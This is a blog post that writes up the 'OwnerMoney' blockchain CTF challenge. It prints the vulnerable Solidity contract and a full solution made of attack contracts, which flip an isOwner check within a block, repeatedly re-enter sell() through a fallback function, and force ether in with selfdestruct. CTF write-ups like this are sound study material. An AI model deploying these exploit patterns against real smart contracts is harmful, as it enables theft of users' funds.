Sissel's blog

【区块链】赛宁新春战役CTF-区块链-OwnerMoney

字数统计: 584阅读时长: 3 min
2020/03/20 Share

从2019年开始,题目逐渐向合约逆向靠拢。。

题目地址:0x40a590b70790930ceed4d148bf365eea9e8b35f4

原题代码【比赛时未放出】:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
pragma solidity ^0.4.23;

interface Changing {
function isOwner(address) view public returns (bool);
}

contract OwnerMoney {

address private owner;
address private backup;

mapping(address => uint) public balanceOf;
mapping(address => bool) public status;
mapping(address => uint) public buyTimes;

constructor() {
owner = msg.sender;
backup = msg.sender;
}

event pikapika_SendFlag(string b64email);

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

function payforflag(string b64email) onlyOwner public {

require(buyTimes[msg.sender] >= 100);
_init();
buyTimes[msg.sender] = 0;

address(0x4cfbdFE01DAEF460B925773754821E7461750923).transfer(address(this).balance);
emit pikapika_SendFlag(b64email);

}

function _init() internal {
owner = backup;
}

function change(address _owner) public {
Changing tmp = Changing(msg.sender);
if(!tmp.isOwner(_owner)){
status[msg.sender] = tmp.isOwner(_owner);
}
}

function change_Owner() {

require(tx.origin != msg.sender);
require(uint(msg.sender) & 0xfff == 0xfff);

if(status[msg.sender] == true){
status[msg.sender] = false;
owner = msg.sender;
}
}

function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);

uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];

uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;

require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);

balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;

assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
}

function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}

function buy() payable public returns (bool success){
require(tx.origin != msg.sender);
require(uint(msg.sender) & 0xfff == 0xfff);
require(buyTimes[msg.sender]==0);
require(balanceOf[msg.sender]==0);
require(msg.value == 1 wei);
balanceOf[msg.sender] = 100;
buyTimes[msg.sender] = 1;
return true;
}

function sell(uint256 _amount) public returns (bool success){
require(_amount >= 200);
require(buyTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
buyTimes[msg.sender] -= 1;
return true;
}

function balance0f(address _address) public view returns (uint256 balance) {
return balanceOf[_address];
}

function eth_balance() public view returns (uint256 ethBalance){
return address(this).balance;
}

}

也不是很难,题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
contract GetMoney996{
address public target = 0x40a590b70790930ceed4d148bf365eea9e8b35f4; // 20200307
address public boss = 0xb0ff7cbcA44085fb2092886636d092ba8e312ffF;
constructor() payable {
target.call.value(1 wei)(bytes4(0xa6f2ae3a)); // buy
target.call(bytes4(0xa9059cbb), boss, 100); // transfer
selfdestruct(msg.sender);
}
}

contract BigSon{
address public target = 0x40a590b70790930ceed4d148bf365eea9e8b35f4; // 20200307
address private owner;
uint256 private num;
constructor() payable{
owner = msg.sender;
target.call.value(1 wei)(bytes4(0xa6f2ae3a)); // buy
}

function be_owner() public{
target.call(bytes4(0x1e77933e), this); // change0x03
target.call(bytes4(0x11f776bc)); // be owner
}

function isOwner(address nonce) public returns(uint256){ //这里需要变换为 0x2f54bf6e
if(num != block.number){
num = block.number;
return uint256(0);
}
return uint256(1);
}

function attack_cell_123(){
target.call(bytes4(0xe4849b32), 200); // sell
}

function sss_done11(){
Question(target).payforflag('ZHViaGUuc2VjQGdtYWlsLmNvbQ==');
}

function () public payable{
target.call(bytes4(0xe4849b32), 200); // sell
}
}

contract Question{
function balance0f(address addr) public view returns(uint256);
function balanceOf(address addr) public view returns(uint256);
function status(address addr) public view returns(uint256);
function payforflag(string) public;
function transfer(address to, uint256 amount) public;

}

contract diediedie{
constructor() payable{
selfdestruct(0x40a590b70790930ceed4d148bf365eea9e8b35f4);
}
}
CATALOG